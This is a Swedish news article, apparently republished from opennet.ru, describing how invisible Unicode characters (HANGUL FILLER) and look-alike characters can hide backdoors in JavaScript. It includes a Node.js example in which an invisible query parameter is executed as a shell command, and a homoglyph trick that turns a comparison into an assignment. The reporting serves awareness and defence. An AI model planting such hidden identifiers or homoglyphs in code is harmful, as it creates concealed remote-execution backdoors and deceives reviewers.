AnvÀndning av osynliga Unicode-tecken för att dölja ÄtgÀrder i JavaScript-kod.

Följande den Trojan Source attackmetoden, som baseras pĂ„ anvĂ€ndningen av Unicode-tecken som förĂ€ndrar visningen av text med tvĂ„ riktningar, har ytterligare en teknik för infiltrering av dolda Ă„tgĂ€rder publicerats, tillĂ€mplig pĂ„ kod skriven i JavaScript. Den nya metoden baseras pĂ„ anvĂ€ndningen av unicode-tecknet "ă…€" (kod 0x3164, "HANGUL FILLER"), som tillhör bokstavskategorin men inte har innehĂ„ll som Ă€r synligt. Unicode-kategorin som detta tecken tillhör har varit tillĂ„ten sedan ECMAScript 2015-specifikationen för anvĂ€ndning i JavaScript-variabelnamn, vilket möjliggör skapandet av osynliga variabler eller nya variabler som Ă€r oidentifierbara frĂ„n andra variabler i populĂ€ra kodredigerare som Notepad++ och VS Code.

Ett exempel ges pĂ„ kod för Node.js-plattformen dĂ€r en variabel bestĂ„ende av tecknet "ă…€" döljer en backdoor som tillĂ„ter exekvering av kod angiven av angriparen: app.get(‘/network_health’, async (req, res) => { const { timeout,ă…€} = req.query; // anges egentligen som "const { timeout,ă…€ \u3164}" const checkCommands = [ ‘ping -c 1 google.com’, ‘curl -s http://example.com/’,ă…€ // efter kommatecknet följer tecknet \u3164 ];

Vid första anblick verkar det som att den externa parametern endast överför vÀrdet timeout, medan arrayen med utförda kommandon innehÄller en harmlös fast lista. Men i verkligheten tilldelas vÀrdet av den osynliga variabeln med koden \u3164 efter timeout-variabeln, vilket ocksÄ inkluderas i arrayen med körbara kommandon. SÄledes, med en sÄdan konstruktion, kan angriparen aktivera bakdörren och köra sin kod genom att skicka en förfrÄgan i form av "https://host:8080/network_health?=kommando".

Som ytterligare ett exempel kan tecknet "ǃ" (ALVEOLAR CLICK) anvĂ€ndas för att skapa en illusion av ett utropstecken. Till exempel, uttrycket "if(environmentǃ=ENV_PROD){" kommer alltid att vara sant nĂ€r det körs i Node.js 14, eftersom det faktiskt inte Ă€r en jĂ€mförelse, utan att tilldela variabeln "environmentǃ" vĂ€rdet ENV_PROD. Bland de vilseledande unicode-tecknen finns ocksĂ„ "", "−", "", "â©”", "❚", "⫝̸", "ê“ż" och "∗".

KĂ€lla: opennet.ru

Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar đŸ”„ Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar | ProHoster